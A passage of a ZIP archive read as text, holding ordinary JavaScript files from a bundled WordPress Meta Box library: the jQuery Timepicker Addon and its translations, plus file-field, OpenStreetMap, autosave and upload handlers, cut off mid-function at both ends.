a&&a[b]?a[b]:$.timepicker._defaults[b]},splitDateTime=function(a,b){var c=computeEffectiveSetting(b,"separator"),d=computeEffectiveSetting(b,"timeFormat"),e=d.split(c),f=e.length,g=a.split(c),h=g.length;return h>1?{dateString:g.splice(0,h-f).join(c),timeString:g.splice(0,f).join(c)}:{dateString:a,timeString:""}},parseDateTimeInternal=function(a,b,c,d,e){var f,g,h;if(g=splitDateTime(c,e),f=$.datepicker._base_parseDate(a,g.dateString,d),""===g.timeString)return{date:f};if(h=$.datepicker.parseTime(b,g.timeString,e),!h)throw"Wrong time format";return{date:f,timeObj:h}},selectLocalTimezone=function(a,b){if(a&&a.timezone_select){var c=b||new Date;a.timezone_select.val(-c.getTimezoneOffset())}};$.timepicker=new Timepicker,$.timepicker.timezoneOffsetString=function(a,b){if(isNaN(a)||a>840||-720>a)return a;var c=a,d=c%60,e=(c-d)/60,f=b?":":"",g=(c>=0?"+":"-")+("0"+Math.abs(e)).slice(-2)+f+("0"+Math.abs(d)).slice(-2);return"+00:00"===g?"Z":g},$.timepicker.timezoneOffsetNumber=function(a){var b=a.toString().replace(":","");return"Z"===b.toUpperCase()?0:/^(\-|\+)\d{4}$/.test(b)?("-"===b.substr(0,1)?-1:1)*(60*parseInt(b.substr(1,2),10)+parseInt(b.substr(3,2),10)):parseInt(a,10)},$.timepicker.timezoneAdjust=function(a,b,c){var d=$.timepicker.timezoneOffsetNumber(b),e=$.timepicker.timezoneOffsetNumber(c);return isNaN(e)||a.setMinutes(a.getMinutes()+-d- -e),a},$.timepicker.timeRange=function(a,b,c){return $.timepicker.handleRange("timepicker",a,b,c)},$.timepicker.datetimeRange=function(a,b,c){$.timepicker.handleRange("datetimepicker",a,b,c)},$.timepicker.dateRange=function(a,b,c){$.timepicker.handleRange("datepicker",a,b,c)},$.timepicker.handleRange=function(a,b,c,d){function e(e,f){var g=b[a]("getDate"),h=c[a]("getDate"),i=e[a]("getDate");if(null!==g){var j=new Date(g.getTime()),k=new Date(g.getTime());j.setMilliseconds(j.getMilliseconds()+d.minInterval),k.setMilliseconds(k.getMilliseconds()+d.maxInterval),d.minInterval>0&&j>h?c[a]("setDate",j):d.maxInterval>0&&h>k?c[a]("setDate",k):g>h&&f[a]("setDate",i)}}function f(b,c,e){if(b.val()){var f=b[a].call(b,"getDate");null!==f&&d.minInterval>0&&("minDate"===e&&f.setMilliseconds(f.getMilliseconds()+d.minInterval),"maxDate"===e&&f.setMilliseconds(f.getMilliseconds()-d.minInterval)),f.getTime&&c[a].call(c,"option",e,f)}}d=$.extend({},{minInterval:0,maxInterval:0,start:{},end:{}},d);var g=!1;return"timepicker"===a&&(g=!0,a="datetimepicker"),$.fn[a].call(b,$.extend({timeOnly:g,onClose:function(a,b){e($(this),c)},onSelect:function(a){f($(this),c,"minDate")}},d,d.start)),$.fn[a].call(c,$.extend({timeOnly:g,onClose:function(a,c){e($(this),b)},onSelect:function(a){f($(this),b,"maxDate")}},d,d.end)),e(b,c),f(b,c,"minDate"),f(c,b,"maxDate"),$([b.get(0),c.get(0)])},$.timepicker.log=function(){window.console&&window.console.log&&window.console.log.apply&&window.console.log.apply(window.console,Array.prototype.slice.call(arguments))},$.timepicker._util={_extendRemove:extendRemove,_isEmptyObject:isEmptyObject,_convert24to12:convert24to12,_detectSupport:detectSupport,_selectLocalTimezone:selectLocalTimezone,_computeEffectiveSetting:computeEffectiveSetting,_splitDateTime:splitDateTime,_parseDateTimeInternal:parseDateTimeInternal},Date.prototype.getMicroseconds||(Date.prototype.microseconds=0,Date.prototype.getMicroseconds=function(){return this.microseconds},Date.prototype.setMicroseconds=function(a){return this.setMilliseconds(this.getMilliseconds()+Math.floor(a/1e3)),this.microseconds=a%1e3,this}),$.timepicker.version="1.6.3"}});PK     0w\̽>  >  I  dashboard/lib/meta-box/js/jqueryui/jquery-ui-timepicker-addon-i18n.min.jsnu [        /*! jQuery Timepicker Addon - v1.6.3 - 2016-04-20
* http://trentrichardson.com/examples/timepicker
* Copyright (c) 2016 Trent Richardson; Licensed MIT */
!function(a){a.timepicker.regional.af={timeOnlyTitle:"Kies Tyd",timeText:"Tyd ",hourText:"Ure ",minuteText:"Minute",secondText:"Sekondes",millisecText:"Millisekondes",microsecText:"Mikrosekondes",timezoneText:"Tydsone",currentText:"Huidige Tyd",closeText:"Klaar",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.am={timeOnlyTitle:"Ընտրեք ժամանակը",timeText:"Ժամանակը",hourText:"Ժամ",minuteText:"Րոպե",secondText:"Վարկյան",millisecText:"Միլիվարկյան",microsecText:"Միկրովարկյան",timezoneText:"Ժամային գոտին",currentText:"Այժմ",closeText:"Փակել",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.bg={timeOnlyTitle:"Изберете време",timeText:"Време",hourText:"Час",minuteText:"Минути",secondText:"Секунди",millisecText:"Милисекунди",microsecText:"Микросекунди",timezoneText:"Часови пояс",currentText:"Сега",closeText:"Затвори",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.ca={timeOnlyTitle:"Escollir una hora",timeText:"Hora",hourText:"Hores",minuteText:"Minuts",secondText:"Segons",millisecText:"Milisegons",microsecText:"Microsegons",timezoneText:"Fus horari",currentText:"Ara",closeText:"Tancar",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.cs={timeOnlyTitle:"Vyberte čas",timeText:"Čas",hourText:"Hodiny",minuteText:"Minuty",secondText:"Vteřiny",millisecText:"Milisekundy",microsecText:"Mikrosekundy",timezoneText:"Časové pásmo",currentText:"Nyní",closeText:"Zavřít",timeFormat:"HH:mm",timeSuffix:"",amNames:["dop.","AM","A"],pmNames:["odp.","PM","P"],isRTL:!1},a.timepicker.regional.da={timeOnlyTitle:"Vælg tid",timeText:"Tid",hourText:"Time",minuteText:"Minut",secondText:"Sekund",millisecText:"Millisekund",microsecText:"Mikrosekund",timezoneText:"Tidszone",currentText:"Nu",closeText:"Luk",timeFormat:"HH:mm",timeSuffix:"",amNames:["am","AM","A"],pmNames:["pm","PM","P"],isRTL:!1},a.timepicker.regional.de={timeOnlyTitle:"Zeit wählen",timeText:"Zeit",hourText:"Stunde",minuteText:"Minute",secondText:"Sekunde",millisecText:"Millisekunde",microsecText:"Mikrosekunde",timezoneText:"Zeitzone",currentText:"Jetzt",closeText:"Fertig",timeFormat:"HH:mm",timeSuffix:"",amNames:["vorm.","AM","A"],pmNames:["nachm.","PM","P"],isRTL:!1},a.timepicker.regional.el={timeOnlyTitle:"Επιλογή ώρας",timeText:"Ώρα",hourText:"Ώρες",minuteText:"Λεπτά",secondText:"Δευτερόλεπτα",millisecText:"Χιλιοστοδευτερόλεπτα",microsecText:"Μικροδευτερόλεπτα",timezoneText:"Ζώνη ώρας",currentText:"Τώρα",closeText:"Κλείσιμο",timeFormat:"HH:mm",timeSuffix:"",amNames:["π.μ.","AM","A"],pmNames:["μ.μ.","PM","P"],isRTL:!1},a.timepicker.regional.es={timeOnlyTitle:"Elegir una hora",timeText:"Hora",hourText:"Horas",minuteText:"Minutos",secondText:"Segundos",millisecText:"Milisegundos",microsecText:"Microsegundos",timezoneText:"Uso horario",currentText:"Hoy",closeText:"Cerrar",timeFormat:"HH:mm",timeSuffix:"",amNames:["a.m.","AM","A"],pmNames:["p.m.","PM","P"],isRTL:!1},a.timepicker.regional.et={timeOnlyTitle:"Vali aeg",timeText:"Aeg",hourText:"Tund",minuteText:"Minut",secondText:"Sekund",millisecText:"Millisekundis",microsecText:"Mikrosekundis",timezoneText:"Ajavöönd",currentText:"Praegu",closeText:"Valmis",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.eu={timeOnlyTitle:"Aukeratu ordua",timeText:"Ordua",hourText:"Orduak",minuteText:"Minutuak",secondText:"Segundoak",millisecText:"Milisegundoak",microsecText:"Mikrosegundoak",timezoneText:"Ordu-eremua",currentText:"Orain",closeText:"Itxi",timeFormat:"HH:mm",timeSuffix:"",amNames:["a.m.","AM","A"],pmNames:["p.m.","PM","P"],isRTL:!1},a.timepicker.regional.fa={timeOnlyTitle:"انتخاب زمان",timeText:"زمان",hourText:"ساعت",minuteText:"دقیقه",secondText:"ثانیه",millisecText:"میلی ثانیه",microsecText:"میکرو ثانیه",timezoneText:"منطقه زمانی",currentText:"الان",closeText:"انتخاب",timeFormat:"HH:mm",timeSuffix:"",amNames:["قبل ظهر","AM","A"],pmNames:["بعد ظهر","PM","P"],isRTL:!0},a.timepicker.regional.fi={timeOnlyTitle:"Valitse aika",timeText:"Aika",hourText:"Tunti",minuteText:"Minuutti",secondText:"Sekunti",millisecText:"Millisekunnin",microsecText:"Mikrosekuntia",timezoneText:"Aikavyöhyke",currentText:"Nyt",closeText:"Sulje",timeFormat:"HH:mm",timeSuffix:"",amNames:["ap.","AM","A"],pmNames:["ip.","PM","P"],isRTL:!1},a.timepicker.regional.fr={timeOnlyTitle:"Choisir une heure",timeText:"Heure",hourText:"Heures",minuteText:"Minutes",secondText:"Secondes",millisecText:"Millisecondes",microsecText:"Microsecondes",timezoneText:"Fuseau horaire",currentText:"Maintenant",closeText:"Terminé",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.gl={timeOnlyTitle:"Elixir unha hora",timeText:"Hora",hourText:"Horas",minuteText:"Minutos",secondText:"Segundos",millisecText:"Milisegundos",microsecText:"Microssegundos",timezoneText:"Fuso horario",currentText:"Agora",closeText:"Pechar",timeFormat:"HH:mm",timeSuffix:"",amNames:["a.m.","AM","A"],pmNames:["p.m.","PM","P"],isRTL:!1},a.timepicker.regional.he={timeOnlyTitle:"בחירת זמן",timeText:"שעה",hourText:"שעות",minuteText:"דקות",secondText:"שניות",millisecText:"אלפית השנייה",microsecText:"מיקרו",timezoneText:"אזור זמן",currentText:"עכשיו",closeText:"סגור",timeFormat:"HH:mm",timeSuffix:"",amNames:['לפנה"צ',"AM","A"],pmNames:['אחה"צ',"PM","P"],isRTL:!0},a.timepicker.regional.hr={timeOnlyTitle:"Odaberi vrijeme",timeText:"Vrijeme",hourText:"Sati",minuteText:"Minute",secondText:"Sekunde",millisecText:"Milisekunde",microsecText:"Mikrosekunde",timezoneText:"Vremenska zona",currentText:"Sada",closeText:"Gotovo",timeFormat:"HH:mm",timeSuffix:"",amNames:["a.m.","AM","A"],pmNames:["p.m.","PM","P"],isRTL:!1},a.timepicker.regional.hu={timeOnlyTitle:"Válasszon időpontot",timeText:"Idő",hourText:"Óra",minuteText:"Perc",secondText:"Másodperc",millisecText:"Milliszekundumos",microsecText:"Ezredmásodperc",timezoneText:"Időzóna",currentText:"Most",closeText:"Kész",timeFormat:"HH:mm",timeSuffix:"",amNames:["de.","AM","A"],pmNames:["du.","PM","P"],isRTL:!1},a.timepicker.regional.id={timeOnlyTitle:"Pilih Waktu",timeText:"Waktu",hourText:"Pukul",minuteText:"Menit",secondText:"Detik",millisecText:"Milidetik",microsecText:"Mikrodetik",timezoneText:"Zona Waktu",currentText:"Sekarang",closeText:"OK",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.it={timeOnlyTitle:"Scegli orario",timeText:"Orario",hourText:"Ora",minuteText:"Minuti",secondText:"Secondi",millisecText:"Millisecondi",microsecText:"Microsecondi",timezoneText:"Fuso orario",currentText:"Adesso",closeText:"Chiudi",timeFormat:"HH:mm",timeSuffix:"",amNames:["m.","AM","A"],pmNames:["p.","PM","P"],isRTL:!1},a.timepicker.regional.ja={timeOnlyTitle:"時間を選択",timeText:"時間",hourText:"時",minuteText:"分",secondText:"秒",millisecText:"ミリ秒",microsecText:"マイクロ秒",timezoneText:"タイムゾーン",currentText:"現時刻",closeText:"閉じる",timeFormat:"HH:mm",timeSuffix:"",amNames:["午前","AM","A"],pmNames:["午後","PM","P"],isRTL:!1},a.timepicker.regional.ko={timeOnlyTitle:"시간 선택",timeText:"시간",hourText:"시",minuteText:"분",secondText:"초",millisecText:"밀리초",microsecText:"마이크로",timezoneText:"표준 시간대",currentText:"현재 시각",closeText:"닫기",timeFormat:"tt h:mm",timeSuffix:"",amNames:["오전","AM","A"],pmNames:["오후","PM","P"],isRTL:!1},a.timepicker.regional.lt={timeOnlyTitle:"Pasirinkite laiką",timeText:"Laikas",hourText:"Valandos",minuteText:"Minutės",secondText:"Sekundės",millisecText:"Milisekundės",microsecText:"Mikrosekundės",timezoneText:"Laiko zona",currentText:"Dabar",closeText:"Uždaryti",timeFormat:"HH:mm",timeSuffix:"",amNames:["priešpiet","AM","A"],pmNames:["popiet","PM","P"],isRTL:!1},a.timepicker.regional.lv={timeOnlyTitle:"Ievadiet laiku",timeText:"Laiks",hourText:"Stundas",minuteText:"Minūtes",secondText:"Sekundes",millisecText:"Milisekundes",microsecText:"Mikrosekundes",timezoneText:"Laika josla",currentText:"Tagad",closeText:"Aizvērt",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","AM","A"],pmNames:["PM","PM","P"],isRTL:!1},a.timepicker.regional.mk={timeOnlyTitle:"Одберете време",timeText:"Време",hourText:"Час",minuteText:"Минути",secondText:"Секунди",millisecText:"Милисекунди",microsecText:"Микросекунди",timezoneText:"Временска зона",currentText:"Сега",closeText:"Затвори",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.nl={timeOnlyTitle:"Tijdstip",timeText:"Tijd",hourText:"Uur",minuteText:"Minuut",secondText:"Seconde",millisecText:"Milliseconde",microsecText:"Microseconde",timezoneText:"Tijdzone",currentText:"Vandaag",closeText:"Sluiten",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.no={timeOnlyTitle:"Velg tid",timeText:"Tid",hourText:"Time",minuteText:"Minutt",secondText:"Sekund",millisecText:"Millisekund",microsecText:"mikrosekund",timezoneText:"Tidssone",currentText:"Nå",closeText:"Lukk",timeFormat:"HH:mm",timeSuffix:"",amNames:["am","AM","A"],pmNames:["pm","PM","P"],isRTL:!1},a.timepicker.regional.pl={timeOnlyTitle:"Wybierz godzinę",timeText:"Czas",hourText:"Godzina",minuteText:"Minuta",secondText:"Sekunda",millisecText:"Milisekunda",microsecText:"Mikrosekunda",timezoneText:"Strefa czasowa",currentText:"Teraz",closeText:"Gotowe",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional["pt-BR"]={timeOnlyTitle:"Escolha o horário",timeText:"Horário",hourText:"Hora",minuteText:"Minutos",secondText:"Segundos",millisecText:"Milissegundos",microsecText:"Microssegundos",timezoneText:"Fuso horário",currentText:"Agora",closeText:"Fechar",timeFormat:"HH:mm",timeSuffix:"",amNames:["a.m.","AM","A"],pmNames:["p.m.","PM","P"],isRTL:!1},a.timepicker.regional.pt={timeOnlyTitle:"Escolha uma hora",timeText:"Hora",hourText:"Horas",minuteText:"Minutos",secondText:"Segundos",millisecText:"Milissegundos",microsecText:"Microssegundos",timezoneText:"Fuso horário",currentText:"Agora",closeText:"Fechar",timeFormat:"HH:mm",timeSuffix:"",amNames:["a.m.","AM","A"],pmNames:["p.m.","PM","P"],isRTL:!1},a.timepicker.regional.ro={timeOnlyTitle:"Alegeţi o oră",timeText:"Timp",hourText:"Ore",minuteText:"Minute",secondText:"Secunde",millisecText:"Milisecunde",microsecText:"Microsecunde",timezoneText:"Fus orar",currentText:"Acum",closeText:"Închide",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.ru={timeOnlyTitle:"Выберите время",timeText:"Время",hourText:"Часы",minuteText:"Минуты",secondText:"Секунды",millisecText:"Миллисекунды",microsecText:"Микросекунды",timezoneText:"Часовой пояс",currentText:"Сейчас",closeText:"Закрыть",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.sk={timeOnlyTitle:"Zvoľte čas",timeText:"Čas",hourText:"Hodiny",minuteText:"Minúty",secondText:"Sekundy",millisecText:"Milisekundy",microsecText:"Mikrosekundy",timezoneText:"Časové pásmo",currentText:"Teraz",closeText:"Zavrieť",timeFormat:"H:m",timeSuffix:"",amNames:["dop.","AM","A"],pmNames:["pop.","PM","P"],isRTL:!1},a.timepicker.regional.sl={timeOnlyTitle:"Izberite čas",timeText:"Čas",hourText:"Ura",minuteText:"Minute",secondText:"Sekunde",millisecText:"Milisekunde",microsecText:"Mikrosekunde",timezoneText:"Časovni pas",currentText:"Sedaj",closeText:"Zapri",timeFormat:"HH:mm",timeSuffix:"",amNames:["dop.","AM","A"],pmNames:["pop.","PM","P"],isRTL:!1},a.timepicker.regional.sq={timeOnlyTitle:"Zgjidh orarin",timeText:"Orari",hourText:"Ora",minuteText:"Minuta",secondText:"Sekonda",millisecText:"Minisekonda",microsecText:"Mikrosekonda",timezoneText:"Zona kohore",currentText:"Tani",closeText:"Mbyll",timeFormat:"HH:mm",timeSuffix:"",amNames:["m.","AM","A"],pmNames:["p.","PM","P"],isRTL:!1},a.timepicker.regional["sr-RS"]={timeOnlyTitle:"Одаберите време",timeText:"Време",hourText:"Сати",minuteText:"Минути",secondText:"Секунде",millisecText:"Милисекунде",microsecText:"Микросекунде",timezoneText:"Временска зона",currentText:"Сада",closeText:"Затвори",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional["sr-YU"]={timeOnlyTitle:"Odaberite vreme",timeText:"Vreme",hourText:"Sati",minuteText:"Minuti",secondText:"Sekunde",millisecText:"Milisekunde",microsecText:"Mikrosekunde",timezoneText:"Vremenska zona",currentText:"Sada",closeText:"Zatvori",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.sv={timeOnlyTitle:"Välj en tid",timeText:"Tid",hourText:"Timme",minuteText:"Minut",secondText:"Sekund",millisecText:"Millisekund",microsecText:"Mikrosekund",timezoneText:"Tidszon",currentText:"Nu",closeText:"Stäng",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.th={timeOnlyTitle:"เลือกเวลา",timeText:"เวลา ",hourText:"ชั่วโมง ",minuteText:"นาที",secondText:"วินาที",millisecText:"มิลลิวินาที",microsecText:"ไมโคริวินาที",timezoneText:"เขตเวลา",currentText:"เวลาปัจจุบัน",closeText:"ปิด",timeFormat:"hh:mm tt",timeSuffix:""},a.timepicker.regional.tr={timeOnlyTitle:"Zaman Seçiniz",timeText:"Zaman",hourText:"Saat",minuteText:"Dakika",secondText:"Saniye",millisecText:"Milisaniye",microsecText:"Mikrosaniye",timezoneText:"Zaman Dilimi",currentText:"Şu an",closeText:"Tamam",timeFormat:"HH:mm",timeSuffix:"",amNames:["ÖÖ","Ö"],pmNames:["ÖS","S"],isRTL:!1},a.timepicker.regional.uk={timeOnlyTitle:"Виберіть час",timeText:"Час",hourText:"Години",minuteText:"Хвилини",secondText:"Секунди",millisecText:"Мілісекунди",microsecText:"Мікросекунди",timezoneText:"Часовий пояс",currentText:"Зараз",closeText:"Закрити",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.vi={timeOnlyTitle:"Chọn giờ",timeText:"Thời gian",hourText:"Giờ",minuteText:"Phút",secondText:"Giây",millisecText:"Mili giây",microsecText:"Micrô giây",timezoneText:"Múi giờ",currentText:"Hiện thời",closeText:"Đóng",timeFormat:"HH:mm",timeSuffix:"",amNames:["SA","S"],pmNames:["CH","C"],isRTL:!1},a.timepicker.regional["zh-CN"]={timeOnlyTitle:"选择时间",timeText:"时间",hourText:"小时",minuteText:"分钟",secondText:"秒钟",millisecText:"毫秒",microsecText:"微秒",timezoneText:"时区",currentText:"现在时间",closeText:"关闭",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional["zh-TW"]={timeOnlyTitle:"選擇時分秒",timeText:"時間",hourText:"時",minuteText:"分",secondText:"秒",millisecText:"毫秒",microsecText:"微秒",timezoneText:"時區",currentText:"現在時間",closeText:"確定",timeFormat:"HH:mm",timeSuffix:"",amNames:["上午","AM","A"],pmNames:["下午","PM","P"],isRTL:!1}}(jQuery);PK     0w\i    !  dashboard/lib/meta-box/js/file.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	var file = {};

	/**
	 * Handles a click on add new file.
	 * Expects `this` to equal the clicked element.
	 *
	 * @param event Click event.
	 */
	file.addHandler = function ( event ) {
		event.preventDefault();

		var $this = $( this ),
			$clone = $this.prev().clone();

		$clone.insertBefore( this ).val( '' );

		var $fieldInput = $this.closest( '.rwmb-input' );
		file.updateVisibility.call( $fieldInput.find( '.rwmb-files' ) );
		file.setRequired.call( $fieldInput );
	};

	/**
	 * Handles a click on delete new file.
	 * Expects `this` to equal the clicked element.
	 *
	 * @param event Click event.
	 */
	file.deleteHandler = function ( event ) {
		event.preventDefault();

		var $this = $( this ),
			$item = $this.closest( 'li' ),
			$uploaded = $this.closest( '.rwmb-files' ),
			$metaBox = $uploaded.closest( '.rwmb-meta-box' );

		$item.remove();
		file.updateVisibility.call( $uploaded );

		file.setRequired.call( $uploaded.parent() );

		if ( 1 > $uploaded.data( 'force_delete' ) ) {
			return;
		}

		$.post( ajaxurl, {
			action: 'rwmb_delete_file',
			_ajax_nonce: $uploaded.data( 'delete_nonce' ),
			field_id: $uploaded.data( 'field_id' ),
			field_name: $uploaded.data( 'field_name' ),
			object_type: $metaBox.data( 'object-type' ),
			object_id: $metaBox.data( 'object-id' ),
			attachment_id: $this.data( 'attachment_id' )
		}, function ( response ) {
			if ( !response.success ) {
				alert( response.data );
			}
		}, 'json' );
	};

	/**
	 * Sort uploaded files.
	 * Expects `this` to equal the uploaded file list.
	 */
	file.sort = function () {
		$( this ).sortable( {
			items: 'li',
			start: function ( event, ui ) {
				ui.placeholder.height( ui.helper.outerHeight() );
				ui.placeholder.width( ui.helper.outerWidth() );
			},
			update: function ( event, ui ) {
				ui.item.find( rwmb.inputSelectors ).first().trigger( 'mb_change' );
			}
		} );
	};

	/**
	 * Update visibility of upload inputs and Add new file link.
	 * Expect this equal to the uploaded file list.
	 */
	file.updateVisibility = function () {
		var $uploaded = $( this ),
			max = parseInt( $uploaded.data( 'max_file_uploads' ), 10 ),
			$new = $uploaded.siblings( '.rwmb-file-new' ),
			$add = $new.find( '.rwmb-file-add' ),
			numFiles = $uploaded.children().length,
			numInputs = $new.find( '.rwmb-file-input' ).length;

		$uploaded.toggle( 0 < numFiles );
		if ( 0 === max ) {
			return;
		}
		$new.toggle( numFiles < max );
		$add.toggle( numFiles + numInputs < max );
	};

	// Reset field when cloning.
	file.resetClone = function () {
		var $this = $( this ),
			$clone = $this.closest( '.rwmb-clone' ),
			$list = $clone.find( '.rwmb-files' );

		$list.empty();

		$clone.find( '.rwmb-file-new' ).each( function () {
			var inputName = '_file_' + rwmb.uniqid(),
				$key = $( this ).siblings( '.rwmb-file-index' );
			$( this ).find( '.rwmb-file-input' ).attr( 'name', inputName + '[]' ).not( ':first' ).remove();
			$key.val( inputName );
		} );

		file.updateVisibility.call( $list );
	};

	// Set 'required' attribute. 'this' is the wrapper field input.
	file.setRequired = function () {
		var $this = $( this ),
			$uploaded = $this.find( '.rwmb-files' ),
			$inputs = $this.find( '.rwmb-file-new input' );
		$inputs.prop( 'required', false );

		if ( $uploaded.children().length ) {
			return;
		}

		var $firstInput = $inputs.first();
		if ( 1 === $firstInput.data( 'required' ) ) {
			$firstInput.prop( 'required', true );
		}
	};

	function init( e ) {
		var $el = $( e.target ),
			$uploaded = $el.find( '.rwmb-files' );

		$uploaded.each( file.sort );
		$uploaded.each( file.updateVisibility );

		$el.find( '.rwmb-file-wrapper, .rwmb-image-wrapper' ).each( file.setRequired );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'click', '.rwmb-file-add', file.addHandler )
		.on( 'click', '.rwmb-file-delete', file.deleteHandler )
		.on( 'clone', '.rwmb-file-input', file.resetClone );
} )( jQuery, rwmb );
PK     0w\X]x    )  dashboard/lib/meta-box/js/osm-frontend.jsnu [        jQuery( function( $ ) {
	'use strict';

	/**
	 * Display Open Street Map
	 */
	function displayMap() {
		var osmTileLayer = L.tileLayer( 'https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
			attribution: '&copy; <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors'
		} );
		var options = $( this ).data( 'osm_options' ),
			mapOptions = options.js_options,
			center = L.latLng( options.latitude, options.longitude ),
			map;

			mapOptions.center = center;

			// Typcast zoom to a number
			mapOptions.zoom *= 1;

			map = L.map( this, mapOptions );
			map.addLayer( osmTileLayer );

		// Set marker
		if ( options.marker ) {
			var markerOptions = {};

			// Set marker title
			if ( options.marker_title ) {
				markerOptions.title = options.marker_title;
			}

			// Set marker icon
			if ( options.marker_icon ) {
				markerOptions.icon = L.icon( {
					iconUrl: options.marker_icon
				} );
			}

			var marker = L.marker( center, markerOptions ).addTo( map )
		}

		// Set info window
		if ( options.info_window ) {
			marker.bindPopup( options.info_window ).openPopup();
		}
	}

	// Loop through all map instances and display them
	$( '.rwmb-osm-canvas' ).each( displayMap );
} );
PK     0w\go.S  S  %  dashboard/lib/meta-box/js/autosave.jsnu [        ( function ( $, document ) {
	'use strict';

	$( document ).ajaxSend( function ( event, xhr, settings ) {
		if ( ! Array.isArray( settings.data ) || -1 === settings.data.indexOf( 'wp_autosave' ) ) {
			return;
		}
		var inputSelectors = 'input[class*="rwmb"], textarea[class*="rwmb"], select[class*="rwmb"], button[class*="rwmb"], input[name^="nonce_"]';
		$( '.rwmb-meta-box' ).each( function () {
			var $meta_box = $( this );
			if ( true === $meta_box.data( 'autosave' ) ) {
				settings.data += '&' + $meta_box.find( inputSelectors ).serialize();
			}
		} );
	} );
} )( jQuery, document );
PK     0w\=љf  f  (  dashboard/lib/meta-box/js/file-upload.jsnu [        ( function ( $, wp, rwmb ) {
	'use strict';

	var views = rwmb.views = rwmb.views || {},
		MediaField = views.MediaField,
		FileUploadField, UploadButton;

	FileUploadField = views.FileUploadField = MediaField.extend( {
		createAddButton: function () {
			this.addButton = new UploadButton( { controller: this.controller } );
		}
	} );

	UploadButton = views.UploadButton = Backbone.View.extend( {
		className: 'rwmb-upload-area',
		tagName: 'div',
		template: wp.template( 'rwmb-upload-area' ),
		render: function () {
			this.$el.html( this.template( {} ) );
			return this;
		},

		initialize: function ( options ) {
			this.controller = options.controller;
			this.el.id = _.uniqueId( 'rwmb-upload-area-' );
			this.render();

			// Auto hide if you reach the max number of media
			this.listenTo( this.controller, 'change:full', function () {
				this.$el.toggle( !this.controller.get( 'full' ) );
			} );

			this.collection = this.controller.get( 'items' );
			this.listenTo( this.collection, 'remove', function ( item ) {
				if ( item.get( 'file' ) !== undefined ) {
					this.uploader.uploader.removeFile( item.get( 'file' ) );
				}
				const totalFiles = parseInt( this.uploader.uploader.getOption( 'totalFiles' ) );
				this.uploader.uploader.setOption( 'totalFiles', totalFiles - 1 );
			} );
		},

		// Initializes plupload using code from wp.Uploader (wp-includes/js/plupload/wp-plupload.js)
		initUploader: function ( $this ) {
			var self = this,
				$input = $this.closest( '.rwmb-input' ),
				$process = $input.find( '.rwmb-media-view .rwmb-media-progress' ),
				extensions = this.getExtensions().join( ',' ),
				maxFileSize = this.controller.get( 'maxFileSize' ),
				maxFiles = parseInt( this.controller.get( 'maxFiles' ) ),
				options = {
					container: this.el,
					dropzone: this.el,
					browser: this.$( '.rwmb-browse-button' ),
					params: {
						post_id: $( '#post_ID' ).val()
					},
					added: function ( attachment ) {
						self.controller.get( 'items' ).add( [ attachment ] );
					}
				};

			// Initialize the plupload instance.
			this.uploader = new wp.Uploader( options );

			var filters = this.uploader.uploader.getOption( 'filters' );
			if ( maxFileSize ) {
				filters.max_file_size = maxFileSize;
			}
			if ( extensions ) {
				filters.mime_types = [ { title: i18nRwmbMedia.select, extensions: extensions } ];
			}
			this.uploader.uploader.setOption( 'filters', filters );
			this.uploader.uploader.setOption( 'totalFiles', 0 );

			this.uploader.uploader.bind( 'FilesAdded', function ( up, files ) {
				const that = this,
					totalFiles = parseInt( that.getOption( 'totalFiles' ) );

				$.each( files, function ( i, file ) {
					if ( maxFiles !== 0 && i >= maxFiles - totalFiles ) {
						up.removeFile( files[ i ] );
						return;
					}

					$process.append( `<div id="${ file.id }" class="rwmb-progress" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100">
						${ file.name } - ${ file.percent } %
					</div>` );
					that.setOption( 'totalFiles', parseInt( that.getOption( 'totalFiles' ) ) + 1 );
				} );
			} );

			const setWidth = ( file, value ) => $process.find( `#${ file.id }` ).attr( 'aria-valuenow', value ).css( '--value', value ).text( `${ file.name } - ${ value }%` );

			this.uploader.uploader.bind( 'UploadProgress', ( up, file ) => setWidth( file, file.percent ).addClass( file.percent === 100 ? 'rwmb-progress--completed' : '' ) );
			this.uploader.uploader.bind( 'FileUploaded', ( up, file ) => $process.find( `#${ file.id }` ).fadeOut( 'slow', function () {
				$( this ).remove();
			} ) );

			this.uploader.uploader.bind( 'Error', function ( up, err ) {

